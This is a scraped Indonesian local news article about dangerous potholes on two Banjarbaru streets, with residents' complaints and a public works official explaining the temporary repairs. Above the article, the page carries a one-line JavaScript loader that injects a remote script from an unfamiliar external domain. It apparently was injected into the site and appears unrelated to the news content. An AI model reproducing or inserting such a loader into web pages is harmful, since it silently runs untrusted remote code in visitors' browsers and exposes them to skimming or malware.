(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Jl Panglima Batur Banjarbaru Dihiasi Lubang, Penambalan Tunggu Produksi Aspal

KANALKALIMANTAN.COM, BANJARBARU – Warga Banjarbaru keluhkan lubang di Jalan Panglima Batur tepatnya di depan Kantor UPPD Samsat dan di Jalan Sukarelawan. Bukan tanpa alasan, hal ini dikarenakan membahayakan bagi pengendara roda 2.

Kerap pengendara roda hampir terjatuh ketika melewati beberapa lubang yang ada di dua jalan tersebut.

Seperti yang disampaikan Rasyid mengatakan dirinya hampir terjatuh ketika lewat di depat UPPD Samsat Banjarbaru, karena lubang yang ada di jalan itu bisa terbilang dalam, walaupun sudah ada bekas ditambal dengan cor semen.

“Hampir terjatuh beberapa kali,” ujarnya.

Walau sudah ditambal dan ditutupi pelat baja, kata Rasyid itu masih membahayakan. Sebab, pelat besi yang menutupi tambalan lubang mengalami pergeseran, menyebabkan lubang kembali terbuka dan tambalan semen tidak rata dengan aspal jalan.

“Di Bundaran STM juga banyak lubang seperti ini,” bebernya.

Dengan banyaknya lubang yang dinilai membahayakan ini, Ia berharap agar dapat ditambal sesegera mungkin. Sebab, banyak pemotor hampir terjatuh apalagi ketika malam hari.

Pantauan kanalkalimantan.com, memang benar beberapa lubang nampak menghiasi jalan di Jalan Panglima Batur dan Jalan Sukarelawan. Bahkan, di Jalan Panglima Batur nampak sudah beberapa hari pelat baja yang diletakkan untuk menutupi bekas tambalan lubang tergeser tanpa diperbaiki.

Kemudian di Jalan Sukarelawan ada beberapa lubang yang menganga dan ada juga yang sudah ditambal dengan semen.

Kepala Bidang Bina Marga Dinas PUPR Banjarbaru, Adi Maulana mengatakan untuk jalan di depan Samsat Banjarbaru semula pihaknya mengira akibat kebocoran pipa PDAM, setalah dibongkar ternyata lubang tersebut diakibatkan air yang menggerus badan jalan yang kemudian terjadi amblas.

“Tahap pertama sudah ditangani, perbaikan tanah dasar dan pengerasan jalan kemudian di cor,” ujarnya.

Untuk sementara lubang ditutupi dengan pelat baja, menunggu pengerasan cor dan pengaspalan ulang.

“Sembari menunggu produksi aspal,” ungkapnya.

Diperkirakan kata Adi, produksi aspal sekitar seminggu atau dua minggu kedepan untuk pengaspalan ulang.

Sedangkan untuk di Jalan Sukarelawan, Adi menyebutkan tidak hanya satu titik lubang disana, tetapi ada beberapa titik.

“Sementara penangananya dengan paving block dan cor beton,” katanya.

Sementara itu di dua jalan itu, kata Adi pada tahun ini tidak ada peremajaan jalan di kedua jalan tersebut, hanya saja akan dilakukan penutupan lubang-lubang yang menganga di sepanjang jalan.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell